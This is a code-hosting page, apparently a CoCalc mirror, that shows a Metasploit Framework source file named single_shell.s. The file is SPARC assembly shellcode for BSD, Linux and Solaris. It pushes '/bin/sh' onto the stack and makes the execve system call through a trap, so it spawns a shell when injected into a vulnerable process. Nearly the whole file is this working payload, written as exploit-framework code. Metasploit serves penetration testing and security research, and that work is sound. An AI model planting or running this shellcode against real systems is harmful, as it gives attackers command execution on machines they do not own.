CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/shellcode/generic/sparc/single_shell.s
Views: 11784
1
##
2
#
3
# Name: single_shell
4
# Platforms: *BSD, Linux, Solaris
5
# Authors: vlad902 <vlad902 [at] gmail.com>
6
# Version: $Revision: 1583 $
7
# License:
8
#
9
# This file is part of the Metasploit Exploit Framework
10
# and is subject to the same licenses and copyrights as
11
# the rest of this package.
12
#
13
# Description:
14
#
15
# Execute /bin/sh.
16
#
17
##
18
19
.globl main
20
21
main:
22
andn %sp, 7, %sp
23
24
xor %o3, %o3, %o2
25
set 0x2f62696e, %l0
26
set 0x2f736800, %l1
27
sub %sp, 0x10, %o0
28
sub %sp, 0x08, %o1
29
std %l0, [ %sp - 0x10 ]
30
st %o0, [ %sp - 0x08 ]
31
st %g0, [ %sp - 0x04 ]
32
mov 0x3b, %g1
33
ta 0x08 # How portable is 8 on linux
34
35